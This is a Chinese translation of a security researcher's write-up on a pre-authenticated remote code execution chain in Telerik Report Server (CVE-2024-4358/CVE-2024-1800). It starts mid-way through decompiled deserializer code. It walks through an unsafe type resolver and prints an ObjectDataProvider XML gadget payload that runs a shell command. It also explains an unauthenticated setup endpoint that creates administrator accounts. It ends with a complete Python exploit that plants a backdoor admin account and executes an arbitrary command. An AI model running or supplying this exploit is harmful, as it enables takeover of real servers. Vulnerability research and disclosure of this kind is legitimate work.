                if (string.Equals(this.reader.Type, type, StringComparison.Ordinal) && this.reader.NodeType == NodeType.EndElement)
                {
                    this.reader.ReadEndXmlElement();
                }
            }
            if (obj2 != null && obj2.Equals(base.Settings.NullString))
            {
                obj2 = null;
            }
            prop.SetValue(obj, obj2);
        }

        private void ReadCollection(object collection)
        {
            if (!this.reader.IsEmptyElement)
            {
                this.reader.ReadStartCollection();
                int num = 0;
                while (this.reader.NodeType != NodeType.EndElement && this.reader.NodeType != NodeType.None)
                {
                    base.ResourceHandler.NamingContext.StartProperty(num.ToString());
                    string type = this.reader.Type;
                    object obj = this.ReadXmlElement(type);
                    if (obj != null)
                    {
                        ObjectReader.AddItem(collection, obj);
                    }
                    else
                    {
                        this.reader.Read();
                    }
                    if (string.Equals(this.reader.Type, type, StringComparison.Ordinal) && this.reader.NodeType == NodeType.EndElement)
                    {
                        this.reader.ReadEndXmlElement();
                    }
                    base.ResourceHandler.NamingContext.EndProperty();
                    num++;
                }
                this.reader.ReadEndObjectCollection();
                return;
            }
            this.reader.Skip();
        }

        private static string ResolveElementName(string readerName)
        {
            string text;
            string text2;
            ObjectReader.ParseNsString(readerName, out text, out text2);
            return text2;
        }

        private static void ParseNsString(string nsString, out string prefix, out string localName)
        {
            prefix = string.Empty;
            localName = nsString;
            string[] array = nsString.Split(new char[] { ':' });
            if (array.Length == 2)
            {
                prefix = array[0];
                localName = array[1];
            }
        }

        private object ReadXmlElement(string name)
        {
            string text;
            string text2;
            ObjectReader.ParseNsString(name, out text, out text2);
            string text3 = this.reader.LookupNamespace(text);
            Type type = this.ResolveType(text3, text2);
            if (type != null)
            {
                return this.ReadObject(type);
            }
            type = Type.GetType(name);
            if (!(type == null))
            {
                return this.ReadPrimitive(type);
            }
            if (this.reader.Name == base.Settings.NullString || this.reader.Value == base.Settings.NullString)
            {
                return null;
            }
            throw new SerializerExcepion("The xml serializer cannot resolve type with name: " + name);
        }

        private static void AddItem(object col, object value)
        {
            col.GetType().GetMethod("Add", new Type[] { value.GetType() }).Invoke(col, new object[] { value });
        }

        private void SkipWhiteSpace()
        {
            while (this.reader.NodeType == NodeType.Whitespace)
            {
                this.reader.Read();
            }
        }

        private string GetNodeValue()
        {
            NodeType nodeType = this.reader.NodeType;
            if (nodeType == NodeType.Element)
            {
                return this.reader.ReadElementContentAsString();
            }
            if (nodeType - NodeType.Attribute <= 1)
            {
                return this.reader.ReadContentAsString();
            }
            return this.reader.Value;
        }

        private object ReadPrimitive(Type type)
        {
            string text = (this.reader.IsEmptyElement ? this.reader.LocalName : this.GetNodeValue());
            if (type.IsEnum)
            {
                return this.ConvertFromString(new EnumConverter(type), null, text);
            }
            if (typeof(IConvertible).IsAssignableFrom(type))
            {
                return ((IConvertible)text).ToType(type, base.Culture);
            }
            TypeConverter typeConverter = ObjectReaderWriterBase.GetTypeConverter(type);
            if (typeConverter != null)
            {
                return typeConverter.ConvertFromString(null, base.Culture, text);
            }
            throw new SerializerExcepion("Xml serializer cannot read primitive value: " + text);
        }

        protected override string GetPropertyName(string propName)
        {
            return ObjectReader.ResolveElementName(propName);
        }

        private readonly IReader reader;
    }
}

以下是 Telerik.Reporting.Serialization.ObjectReader.Deserialize(IResourceHandler) 方法的实现。

它需要一个 IResourceHandler 参数,这基本上是之前创建的ZipResourceHandler,其中包含我们的恶意报告文件及其条目,文件格式为 ZIP,然后调用 ReadXmlElement:

public object Deserialize(IResourceHandler handler)
{
  base.ResourceHandler = handler;
  this.reader.Init();
  string defaultNamespace = this.GetDefaultNamespace();
  this.typeResolver = base.GetTypeResolver(defaultNamespace);
  ObjectReader.ValidateTypeResolver(this.typeResolver, defaultNamespace);
  return this.ReadXmlElement(this.reader.Type);
}

现在是时候讨论 ReadXmlElement ,即 Telerik.Reporting.Serialization.ObjectReader.ReadXmlElement(string)

private object ReadXmlElement(string name)
{
  string text;
  string text2;
  ObjectReader.ParseNsString(name, out text, out text2);
  string text3 = this.reader.LookupNamespace(text);
  Type type = this.ResolveType(text3, text2);
  if (type != null)
  {
    return this.ReadObject(type);
  }
  type = Type.GetType(name);
  if (!(type == null))
  {
    return this.ReadPrimitive(type);
  }
  if (this.reader.Name == base.Settings.NullString || this.reader.Value == base.Settings.NullString)
  {
    return null;
  }
  throw new SerializerExcepion("The xml serializer cannot resolve type with name: " + name);
}

假设我们有以下 xml:

<?xml version="1.0" encoding="utf-8"?>
<Report Width="6.5in" Name="Report2" xmlns="http://schemas.telerik.com/reporting/2023/1.0">
  <Items>
    <PageHeaderSection Height="1in" Name="pageHeaderSection1" />
    <DetailSection Height="2in" Name="detailSection1">
      <Items>
        <TextBox Width="1.2in" Height="0.2in" Left="2.7in" Top="0.9in" Value="GOW" Name="textBox1" />
      </Items>
    </DetailSection>
    <PageFooterSection Height="1in" Name="pageFooterSection1" />
  </Items>
  <PageSettings PaperKind="Letter" Landscape="False" ColumnCount="1" ColumnSpacing="0in">
    <Margins>
      <MarginsU Left="1in" Right="1in" Top="1in" Bottom="1in" />
    </Margins>
  </PageSettings>
  <StyleSheet>
    <StyleRule>
      <Style>
        <Padding Left="2pt" Right="2pt" />
      </Style>
      <Selectors>
        <TypeSelector Type="TextItemBase" />
        <TypeSelector Type="HtmlTextBox" />
      </Selectors>
    </StyleRule>
  </StyleSheet>
</Report>

这是一个已序列化的报表服务器报告,它包含不同的元素,每个元素代表一个实际类的类型,该类类型将使用我们之前讨论过的 TypeResolver 进行解析,现在对于每个元素, ReadXmlElement 可以找到其 .NET 运行时类型。

现在,仔细观察会注意到 type 变量是一个 System.Type 类型的容器,被分配在 2 个位置,第一个分配是通过调用 this.ResolveType 完成的,如果条件失败,则通过调用 Type.GetType(name) 尝试另一次分配,你可能会被误导,以为后者是你想要达到的目的,但仔细观察,你会注意到,如果执行了第二个Type.GetType 并且返回值不等于 null,那么就会执行 ReadPrimitive。

顾名思义,在不拆开这个方法的情况下,它只允许原始类型,并且与第一个类型分配相比,它不会帮助构建代码执行gadget链,而第一个类型分配后跟一个听起来更有希望的ReadObject 调用。所以,我们的目标是达到 this.ResolveType

那么,我们是时候深入了解 ResolveType 的内部了。

让我们从最简单的例子开始,首先创建一个 Report 对象:

<?xml version="1.0" encoding="utf-8"?>
<Report Width="6.5in" Name="Report2" xmlns="http://schemas.telerik.com/reporting/2023/1.0">

问题是如何将 <Report> 解析为 .NET 类型,或者以下类型:

Telerik.Reporting.ReportSerialization.Current.ReportSerializable`1[[Telerik.Reporting.Report, Telerik.Reporting, Version=17.0.23.118, Culture=neutral, PublicKeyToken=a9d7983dfcc261be]], Telerik.Reporting, Version=17.0.23.118, Culture=neutral, PublicKeyToken=a9d7983dfcc261be

这就是 Telerik Report Server 的特殊之处,一切都从 ResolveType 又名 Telerik.Reporting.Serialization.ObjectReader.ResolveType 开始:

private Type ResolveType(string ns, string name)
{
  Type type;
  if (this.typeResolver.ResolveType(ns, name, out type))
  {
    return type;
  }
  return null;
}

当 telerik 反序列化器开始解析任何给定的序列化 xml 时,它将在每个元素上调用 ReadXmlElement

private object ReadXmlElement(string name)
{
  string text;
  string text2;
  ObjectReader.ParseNsString(name, out text, out text2);
  string text3 = this.reader.LookupNamespace(text);
  Type type = this.ResolveType(text3, text2);
  if (type != null)
  {
    return this.ReadObject(type);
  }

  [..SNIP..]

并将元素名称及其 xml 命名空间值传递给 ResolveType 函数,例如,上面的元素名称是 Report ,其 xml-命名空间又称为 xmlns http://schemas.telerik.com/reporting/2023/1.0 使用这两个值, System.Type 已退休,但是,它如何仅从这两个值找到类型呢?我们如何(滥用)使用其它类型?

这里我们面临另一个抽象层, this.ResolveType(text3, text2); 实际上调用了 ObjectReader中同名的函数,而该函数又调用了 TypeResolver 中同名的方法。

typeresolver01

这个方法非常有趣,它的机制很简单,前两个参数用于检索 System.Type ,返回值存储在 out Type type 变量中,这是第三个参数。它首先会调用 ResolveTypeCore ,让我们快速分析一下 ResolveTypeCore

public virtual bool ResolveType(string ns, string name, out Type type)
{
    if (this.ResolveTypeCore(ns, name, out type))
    {
        return true;
    }
    using (List<ResolveTypeDelegate>.Enumerator enumerator = this.resolveTypeDelegates.GetEnumerator())
    {
        while (enumerator.MoveNext())
        {
            ISerializationSurrogate serializationSurrogate;
            if (enumerator.Current(ns, name, out type, out serializationSurrogate))
            {
                this.RegisterDeserializationType(type, ns, name, false);
                this.RegisterDeserializationSurrogate(type, serializationSurrogate);
                return true;
            }
        }
    }
    if (this.parentResolver != null)
    {
        ns = this.MapLocalNamespaceToParentNamespace(ns);
        return this.parentResolver.ResolveType(ns, name, out type);
    }
    type = null;
    return false;
}

最好用图片来解释一下这个方法,很简单,this.nameTypeMap 是一个System.Collections.Generic.Dictionary类型的字典。 <string, System.Collections.Generic.Dictionary<string, System.Type> > 被访问以查找与给定的( string nsstring name)匹配的相应类类型。

这个字典是如何以及何时被填充的,如果你还记得的话,在 telerik 序列化器/反序列化器的初始化期间,许多类类型被注册为color、row、

table等,并且它们都存储在这个字典中:

reportsample

现在我们知道 telerik 如何与对应:

Telerik.Reporting.ReportSerialization.Current.ReportSerializable`1[[Telerik.Reporting.Report, Telerik.Reporting, Version=17.0.23.118, Culture=neutral, PublicKeyToken=a9d7983dfcc261be]]

但是,那些危险类型呢?或者更确切地说,对于构建gadget有用的类型,通常,为了利用这种 xml 序列化器,我们构建一个 ResourceDictionary,它包含一个单一资源,该资源将是一个ObjectDataProvider,它还具有用于利用的重要属性,在这里,我们来看一下:

objectdataprovider

相当强大哈!如果你不明白,别担心。

你看,这个 ObjectDataProvider 类也称为 System.Windows.Data.ObjectDataProvider 有一个名为 ObjectInstance 的属性,该属性的类型为 System.Object

这意味着,它可以包含任何 .NET 对象,它还有另一个名为 MethodName 的属性也可以被控制,因此我们控制的方法名称是针对控制的对象实例执行的,这就是它的(滥用)使用之处,一个 ObjectDataProvider ,其中 MethodName 设置为 Start ,其 ObjectInstance 属性设置为另一个对象的实例,该对象是输入 System.Diagnostics.Process ,其 StartInfo 属性设置为我们可以执行的恶意命令,以下是其 XML 格式:

<ODP:ObjectDataProvider MethodName="Start" >
                <ObjectInstance>
                    <Diag:Process>
                        <StartInfo>
                            <Diag:ProcessStartInfo FileName="cmd" Arguments="/c calc"></Diag:ProcessStartInfo>
                        </StartInfo>
                    </Diag:Process>
                </ObjectInstance>
            </ODP:ObjectDataProvider>

但是,等一下,Telerik report server不理解 <ODP:ObjectDataProvider> 或是我们定义的任何其他元素,这是完全正确的,这就是为什么到目前为止一直在解释整个过程,实际可以工作的序列化Payload如下:

<Report Width="6.5in" Name="oooo"
    xmlns="http://schemas.telerik.com/reporting/2023/1.0">
    <Items>
        <ResourceDictionary
            xmlns="clr-namespace:System.Windows;Assembly:PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35"
            xmlns:System="clr-namespace:System;assembly:mscorlib"
            xmlns:Diag="clr-namespace:System.Diagnostics;assembly:System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"
            xmlns:ODP="clr-namespace:System.Windows.Data;Assembly:PresentationFramework, Version=4.0.0.0, Culture=neutral,    
PublicKeyToken=31bf3856ad364e35"
  >
            <ODP:ObjectDataProvider MethodName="Start" >
                <ObjectInstance>
                    <Diag:Process>
                        <StartInfo>
                            <Diag:ProcessStartInfo FileName="cmd" Arguments="/c calc"></Diag:ProcessStartInfo>
                        </StartInfo>
                    </Diag:Process>
                </ObjectInstance>
            </ODP:ObjectDataProvider>
        </ResourceDictionary>
    </Items>

给定 string nsstring name 两个参数, type 已被淘汰,而 ResolveTypeCore 正在被使用包含已注册的类型,但是 ResourceDictionaryObjectDataProvider 或其‘邪恶的’姐妹们并不在该核心字典中,所以如果 ResolveTypeCore 不成功,我们的类型对于telerik报表服务器来说基本上是未知的,但是这个方法并没有返回,它实际上得到了别人的帮助,引入了唯一的 this.parentResolver

    public virtual bool ResolveType(string ns, string name, out Type type)
        {
            if (this.ResolveTypeCore(ns, name, out type))
            {
                return true;
            }
            using (List<ResolveTypeDelegate>.Enumerator enumerator = this.resolveTypeDelegates.GetEnumerator())
            {
                while (enumerator.MoveNext())
                {
                    ISerializationSurrogate serializationSurrogate;
                    if (enumerator.Current(ns, name, out type, out serializationSurrogate))
                    {
                        this.RegisterDeserializationType(type, ns, name, false);
                        this.RegisterDeserializationSurrogate(type, serializationSurrogate);
                        return true;
                    }
                }
            }
            if (this.parentResolver != null)
            {
                ns = this.MapLocalNamespaceToParentNamespace(ns);
                return this.parentResolver.ResolveType(ns, name, out type);
            }
            type = null;
            return false;
        }

什么是this.parentResolver

    if (this.parentResolver != null)
        {
            ns = this.MapLocalNamespaceToParentNamespace(ns);
            return this.parentResolver.ResolveType(ns, name, out type);
        }

我们说过 Telerik 开发人员将此类型称为 Unknown Type ,所以他们决定引入另一个名为 UnknownTypeResolver 的类型解析器,到目前为止,当反序列化器到达 ResourceDictionary 时,我们的调用堆栈就是这样的,很糟糕吧?

resolve-type-callstack

这意味着我们的类型解析器树现在看起来像这样:

02

下面是这个类型解析器的样子,乍一看很吓人,但不用担心,它基本上使用另一个名为 ClrNamespace 的类,并调用该类名为 Create 的方法:

public bool ResolveType(string ns, string name, out Type type)
            {
                ConcurrentDictionary<string, TypeResolvers.UnknownTypeResolver.ClrNamespace> concurrentDictionary = this.namespaceMap;
                Func<string, TypeResolvers.UnknownTypeResolver.ClrNamespace> func;
                if ((func = TypeResolvers.UnknownTypeResolver.<>O.<0>__Create) == null)
                {
                    func = (TypeResolvers.UnknownTypeResolver.<>O.<0>__Create = new Func<string, TypeResolvers.UnknownTypeResolver.ClrNamespace>(TypeResolvers.UnknownTypeResolver.ClrNamespace.Create));
                }
                TypeResolvers.UnknownTypeResolver.ClrNamespace orAdd = concurrentDictionary.GetOrAdd(ns, func);
                type = orAdd.GetType(name);
                return type != null;
            }

clrnamespace

那么 Telerik.Reporting.ReportSerialization.TypeResolvers.UnknownTypeResolver.ClrNamespace.Create 是做什么的?最好在调试器中显示这一点,给定以前缀 clr-namespace: 开头的命名空间,它将标记该字符串,但首先使用 ; 分割它,然后调用 GetToken 在返回列表的每一侧,等等,什么?你从哪里得到 clr-namespace:

你看,受到利用原始 Microsoft .NET XamlReader 的启发,我们试图通过逆向工程来理解整个过程,基本上 Telerik 的开发人员从那里获取了代码(猜测)并对其进行了修改,如果你曾经对 Microsoft XamlReader 进行逆向工程,你会从那里识别 clr-namespace 前缀,但在这种情况下,这可以是任何东西,但不一定是这样,只要它是一个以 : 结尾的字符串,这样标记化操作就可以成功。

clrnamespace-create-method

这就是 GetToken 所做的:

    private static string GetToken(string name, int token)
                {
                    return name.Split(new char[] { ':' })[token];
                }

因此给出以下 clr-namespace:

clr-namespace:System.Windows;Assembly:PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35

创建了以下令牌:

token   "System.Windows"
token2  "PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35"

第一个标记是 .NET 程序集名称,第二个标记是包含 ResourceDictionary 类型的类的命名空间。 ClrNamespace.Create() 方法中的最后一条语句调用 TypeResolvers.UnknownTypeResolver.ClrNamespace 的构造函数并提供两个标记。

public static TypeResolvers.UnknownTypeResolver.ClrNamespace Create(string xmlNamespace)
{
    string[] array = xmlNamespace.Split(new char[] { ';' });
    if (array.Length < 2)
    {
        return TypeResolvers.UnknownTypeResolver.ClrNamespace.mscorlibNs;
    }
    string token = TypeResolvers.UnknownTypeResolver.ClrNamespace.GetToken(array[0], 1);
    string token2 = TypeResolvers.UnknownTypeResolver.ClrNamespace.GetToken(array[1], 1);
    return new TypeResolvers.UnknownTypeResolver.ClrNamespace(token, token2);
}

这个构造函数只是设置两个名为 AssemblyNameNamespace 的属性:

public ClrNamespace(string clrNamespace, string assemblyName)
{
    if (clrNamespace == null)
    {
        throw new ArgumentNullException("clrNamespace");
    }
    this.AssemblyName = (string.IsNullOrEmpty(assemblyName) ? TypeResolvers.UnknownTypeResolver.ClrNamespace.mscorlibName : assemblyName);
    this.Namespace = clrNamespace;
}

为什么它会做你要求的事情?这是因为当在该函数末尾调用 ordAdd.GetType(name) 时,它会导致 ClrNamespace.GetType() 被执行:

        public bool ResolveType(string ns, string name, out Type type)
            {
                ConcurrentDictionary<string, TypeResolvers.UnknownTypeResolver.ClrNamespace> concurrentDictionary = this.namespaceMap;
                Func<string, TypeResolvers.UnknownTypeResolver.ClrNamespace> func;
                if ((func = TypeResolvers.UnknownTypeResolver.<>O.<0>__Create) == null)
                {
                    func = (TypeResolvers.UnknownTypeResolver.<>O.<0>__Create = new Func<string, TypeResolvers.UnknownTypeResolver.ClrNamespace>(TypeResolvers.UnknownTypeResolver.ClrNamespace.Create));
                }
                TypeResolvers.UnknownTypeResolver.ClrNamespace orAdd = concurrentDictionary.GetOrAdd(ns, func);
                type = orAdd.GetType(name);
                return type != null;
            }

当执行 ClrNamespace.GetType() 时,会发生一些非常有趣的事情:

public Type GetType(string name)
                {
                    return Type.GetType(this.GetAssemblyQualifiedTypeName(name));
                }

                public string GetAssemblyQualifiedTypeName(string name)
                {
                    return string.Concat(new string[] { this.Namespace, ".", name, ",", this.AssemblyName });
                }

如果给定类型 ResourceDictionaryclr-namespace:System.Windows;Assembly:PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35 的 xml 命名空间,此方法将利用之前标记化的命名空间为请求的 .NET 类型创建 FQDN,这太疯狂了!

System.Windows.ResourceDictionary,PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35

所以基本上你也可以这样看:

clrnamespace

这是 .NET 加载包含 ResourceDictionary 程序集所需的全部内容,因此当 ClrNameSpace 完成时,它会使用正确的 .NET 程序集填充 func 变量具有我们想要的类型,并将调用 ordAdd.GetType(name) ,而 nameResourceDictionary:

clrnamespace

现在会发生什么?让我们看看 type 变量中有什么:

clrnamespace

没错,已经成功加载了 Telerik report server未包含在核心预期类型中的任意 .NET 类型,现在你就能明白如何进行漏洞利用了!

首先,定义 ResourceDictionary ,因为该类型会导致 ResolveTypeCore 失败,所以 UnknownTypeResolver 启动并读取攻击者为 ResourceDictionary ,即 clr-namespace:System.Windows;Assembly:PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35 ,为了找到相应的.NET程序集并从中提取类类型,对其它使用的类型使用相同的过程,这些类型稍后用于构建完整的gadget产生任意命令执行。

<Report Width="6.5in" Name="oooo"
    xmlns="http://schemas.telerik.com/reporting/2023/1.0">
    <Items>
        <ResourceDictionary
            xmlns="clr-namespace:System.Windows;Assembly:PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35"
            xmlns:System="clr-namespace:System;assembly:mscorlib"
            xmlns:Diag="clr-namespace:System.Diagnostics;assembly:System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"
            xmlns:ODP="clr-namespace:System.Windows.Data;Assembly:PresentationFramework, Version=4.0.0.0, Culture=neutral,    
PublicKeyToken=31bf3856ad364e35"
  >
            <ODP:ObjectDataProvider MethodName="Start" >
                <ObjectInstance>
                    <Diag:Process>
                        <StartInfo>
                            <Diag:ProcessStartInfo FileName="cmd" Arguments="/c calc"></Diag:ProcessStartInfo>
                        </StartInfo>
                    </Diag:Process>
                </ObjectInstance>
            </ODP:ObjectDataProvider>
        </ResourceDictionary>
    </Items>

聪明的读者注意到了,我们走了很多弯路,并没有解释一件很重要的事情,让我们回到 ReadXmlEelement 的开头。

如果你还记得的话,我们应该点击第一个 ResolveType 并使其返回任意类型,例如危险类的类型ResourceDictionary ,但我们只讨论了“如何解析类型”,但它的用途呢? Telerik report server如何使用解析类的类型?这就是 this.ReadObject(type); 发挥作用的地方,假设它是使用 ResourceDictionary 的 FQDN 类类型调用:

private object ReadXmlElement(string name)
        {
            string text;
            string text2;
            ObjectReader.ParseNsString(name, out text, out text2);
            string text3 = this.reader.LookupNamespace(text);
            Type type = this.ResolveType(text3, text2);
            if (type != null)
            {
                return this.ReadObject(type);
            }
            type = Type.GetType(name);
            if (!(type == null))
            {
                return this.ReadPrimitive(type);
            }
            if (this.reader.Name == base.Settings.NullString || this.reader.Value == base.Settings.NullString)
            {
                return null;
            }
            throw new SerializerExcepion("The xml serializer cannot resolve type with name: " + name);
        }

它首先会调用 TypeMapper.GetTypeMapping 来了解给定类型是 Primitive 还是 Collection,因为正如你已经看到的,某些元素可以包含其他元素,这些元素称为“Collection”,而 ResourceDictionary 是一个可以包含其他类型的“集合”,因此,如果是这种情况,则调用 this.CreateInstance(type); 首先创建它自己的“集合”,然后调用 this.ReadCollection(obj);

private object ReadObject(Type type)
        {
            TypeMapping typeMapping = TypeMapper.GetTypeMapping(type);
            this.OnDeserializing(type);
            object obj;
            if (typeMapping != TypeMapping.Primitive)
            {
                if (typeMapping == TypeMapping.Collection)
                {
                    obj = this.CreateInstance(type);
                    this.ReadCollection(obj);
                }
                else
                {
                    obj = this.CreateInstance(type);
                    bool flag = obj is INamedObject;
                    if (flag)
                    {
                        base.ResourceHandler.NamingContext.StartComponent((INamedObject)obj);
                    }
                    this.ReadProperties(obj);
                    if (flag)
                    {
                        base.ResourceHandler.NamingContext.EndComponent();
                    }
                }
            }
            else
            {
                obj = this.ReadPrimitive(type);
            }
            object deserializedObject = this.GetDeserializedObject(obj);
            this.OnDeserialized(deserializedObject);
            return deserializedObject;
        }

我们先看 CreateInstance ,然后再看 ReadCollection

它的机制很简单,它接受类型并调用 Activator.CreateInstance 来实例化该类型,如果不知道第二个参数 this.GetCtorParams(type) 的作用,那么它很简单, .NET(以及许多其他)当你想要使用反射之类的方法(在本例中为 Activator.CreateInstance )实例化类型时,你还需要提供参数,Telerik 已经制作了 GetCtorParams

    private object CreateInstance(Type type)
        {
            string text = null;
            if (this.reader.NodeType == NodeType.Element)
            {
                text = this.reader.GetAttribute("Name");
            }
            return this.CreateInstance(type, text);
        }

        protected virtual object CreateInstance(Type type, string name)
        {
            object obj;
            try
            {
                obj = Activator.CreateInstance(type, this.GetCtorParams(type));
            }
            catch (Exception ex)
            {
                throw new MissingMethodException(string.Format("Type: {0}", type), ex);
            }
            return obj;
        }

同样,此方法使用反射来检索所请求类型的正确参数。好吧,完美!现在我们的“集合”已经准备好了,我们可以理解 ReadCollection ,它负责 TypeResolve 并在创建的集合中添加嵌套对象。

从下面可以看出,元素被迭代,它们的类型使用 ReadXmlEelement 再次解析,并使用 ObjectReader.AddItem 添加到我们的集合中。

private void ReadCollection(object collection)
        {
            if (!this.reader.IsEmptyElement)
            {
                this.reader.ReadStartCollection();
                int num = 0;
                while (this.reader.NodeType != NodeType.EndElement && this.reader.NodeType != NodeType.None)
                {
                    base.ResourceHandler.NamingContext.StartProperty(num.ToString());
                    string type = this.reader.Type;
                    object obj = this.ReadXmlElement(type);
                    if (obj != null)
                    {
                        ObjectReader.AddItem(collection, obj);
                    }
                    else
                    {
                        this.reader.Read();
                    }
                    if (string.Equals(this.reader.Type, type, StringComparison.Ordinal) && this.reader.NodeType == NodeType.EndElement)
                    {
                        this.reader.ReadEndXmlElement();
                    }
                    base.ResourceHandler.NamingContext.EndProperty();
                    num++;
                }
                this.reader.ReadEndObjectCollection();
                return;
            }
            this.reader.Skip();
        }

至此,你应该能够充分了解 Telerik Report Server Custom XmlSerializer 的内部结构和利用了。

身份验证绕过

在完成软件设置后 5 分钟研究团队就发现了这个问题,该漏洞非常简单,即使管理员完成设置过程后,负责首次设置服务器的端点也可以未经身份验证地访问。

这并不是第一次发生类似的问题,就在最近,ConnectWise 的 ScreenConnect 软件也出现了“类似”的问题。

此方法无需经过身份验证即可使用,并且将使用收到的参数首先创建用户,然后将“系统管理员”角色分配给该用户,这允许远程未经身份验证的攻击者创建管理员用户并登录。

public async Task<ActionResult> Register(RegisterViewModel model)
        {
            if (this.ModelState.IsValid)
            {
                ApplicationUser applicationUser = new ApplicationUser
                {
                    Username = model.Username,
                    Email = model.Email,
                    FirstName = model.FirstName,
                    LastName = model.LastName,
                    Enabled = true
                };
                IdentityResult result = this.UserManager.Create(applicationUser, model.Password);
                if (result.Succeeded)
                {
                    new ReportServerDefaultConfigurationConfigurator(this.ReportServer).Configure();
                    new ReportServerBuiltInRolesConfigurator(this.ReportServer).Configure();
                    new ReportServerSamplesConfigurator(this.ReportServer).Configure(applicationUser);
                    this.UserManager.AddToRole(applicationUser.Id, "System Administrator");
                    await this.SignInManager.SignInAsync(applicationUser, false, false);
                    return this.RedirectToAction("Index", "Report");
                }
                AccountController.AddErrors(this.ModelState, result);
                result = null;
            }

结果就是这样,管理员已经在那里了,但由于没有检查以防止在设置完成后访问该端点(甚至没有对其进行身份验证),研究团队就利用这个逻辑/访问控制问题创建了 "黑客 "账户。

现在绕过了身份验证,可以触发身份验证后反序列化从而实现全链 RCE。

PoC

代码:

"""
Progress Telerik Report Server pre-authenticated RCE chain (CVE-2024-4358/CVE-2024-1800)
Exploit By: Sina Kheirkhah (@SinSinology) of Summoning Team (@SummoningTeam)
"""
import warnings
warnings.filterwarnings("ignore", category=DeprecationWarning)
import requests
requests.packages.urllib3.disable_warnings()
import zipfile
import base64
import random
import argparse

def saveCredentials(username, password):
    print
    with open('credentials.txt', 'a') as file:
        print("(+) Saving credentials to credentials.txt")
        file.write(f'(*) {args.target} {username}:{password}\n')

def authBypassExploit(username, password):
    print("(*) Attempting to bypass authentication")
    res = s.post(f"{args.target}/Startup/Register", data={"Username": username, "Password": password, "ConfirmPassword": password, "Email": f"{username}@{username}.com", "FirstName": username, "LastName": username})

    if(res.url == f"{args.target}/Report/Index"):
        print("(+) Authentication bypass was successful, backdoor account created")
        saveCredentials(username, password)

    else:
        print("(!) Authentication bypass failed, result was: ")
        print(res.text)
        exit(1)

def deserializationExploit(serializedPayload, authorizationToken):
    reportName = ''.join(random.choices('abcdefghijklmnopqrstuvwxyz', k=10))
    print(f"(*) Generated random report name: {reportName}")
    categoryName = ''.join(random.choices('abcdefghijklmnopqrstuvwxyz', k=10))
    print(f"(*) Creating malicious report under name {reportName}")
    res = s.post(f"{args.target}/api/reportserver/report", headers={"Authorization" : f"Bearer {authorizationToken}"}, json={"reportName":reportName,"categoryName":"Samples","description":None,"reportContent":serializedPayload,"extension":".trdp"})
    if(res.status_code != 200):
        print("(!) Report creation failed, result was: ")
        print(res.text)
        exit(1)

    res = s.post(f"{args.target}/api/reports/clients", json={"timeStamp":None})
    if(res.status_code != 200):
        print("(!) Fetching clientID failed, result was: ")
        print(res.text)
        exit(1)
    clientID = res.json()['clientId']

    res = s.post(f"{args.target}/api/reports/clients/{clientID}/parameters", json={"report":f"NAME/Samples/{reportName}/","parameterValues":{}})
    print("(*) Deserialization exploit finished")

def login(username, password):
    res = s.post(f"{args.target}/Token",data={"grant_type": "password","username":username, "password": password})
    if(res.status_code != 200):
        print("(!) Authentication failed, result was: ")
        print(res.text)
        exit(1)

    print(f"(+) Successfully authenticated as {username} with password {password}")
    print("(*) got token: " + res.json()['access_token'])
    return res.json()['access_token']

def readAndEncode(file_path):
    with open(file_path, 'rb') as file:
        encoded = base64.b64encode(file.read()).decode('utf-8')
    return encoded

def writePayload(payload_name):

    with zipfile.ZipFile(output_filename, 'w') as zipf:
        zipf.writestr('[Content_Types].xml', '''<?xml version="1.0" encoding="utf-8"?><Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types"><Default Extension="xml" ContentType="application/zip" /></Types>''')

        zipf.writestr("definition.xml", f'''<Report Width="6.5in" Name="oooo"
    xmlns="http://schemas.telerik.com/reporting/2023/1.0">
    <Items>
        <ResourceDictionary
            xmlns="clr-namespace:System.Windows;Assembly:PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35"
            xmlns:System="clr-namespace:System;assembly:mscorlib"
            xmlns:Diag="clr-namespace:System.Diagnostics;assembly:System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"
            xmlns:ODP="clr-namespace:System.Windows.Data;Assembly:PresentationFramework, Version=4.0.0.0, Culture=neutral,    
PublicKeyToken=31bf3856ad364e35"
  >
            <ODP:ObjectDataProvider MethodName="Start" >
                <ObjectInstance>
                    <Diag:Process>
                        <StartInfo>
                            <Diag:ProcessStartInfo FileName="cmd" Arguments="/c {args.command}"></Diag:ProcessStartInfo>
                        </StartInfo>
                    </Diag:Process>
                </ObjectInstance>
            </ODP:ObjectDataProvider>
        </ResourceDictionary>
    </Items>''')

def banner():
    print('''(^_^) Progress Telerik Report Server pre-authenticated RCE chain (CVE-2024-4358/CVE-2024-1800) || Sina Kheirkhah (@SinSinology) of Summoning Team (@SummoningTeam)''')

output_filename = 'exploit.trdp'

banner()

parser = argparse.ArgumentParser(usage=r'python CVE-2024-4358.py --target http://192.168.1.1:83 -c "whoami > C:\pwned.txt"')
parser.add_argument('--target', '-t', dest='target', help='Target IP and port (e.g: http://192.168.1.1:83)', required=True)
parser.add_argument('--command', '-c', dest='command', help='Command to execute', required=True)
args = parser.parse_args()
args.target = args.target.rstrip('/')

s = requests.Session()
s.verify = False

randomUsername = ''.join(random.choices('abcdefghijklmnopqrstuvwxyz', k=10))
randomPassword = ''.join(random.choices('abcdefghijklmnopqrstuvwxyz', k=10))
print("(*) random backdoor username: " + randomUsername)
print("(*) random backdoor password: " + randomPassword)
authBypassExploit(randomUsername, randomPassword)
authorizationToken = login(randomUsername, randomPassword)

writePayload(output_filename)
deserializationExploit(readAndEncode(output_filename).strip(), authorizationToken)

https://github.com/sinsinology/CVE-2024-4358

以上内容由骨哥翻译并整理。

原文:https://summoning.team/blog/progress-report-server-rce-cve-2024-4358-cve-2024-1800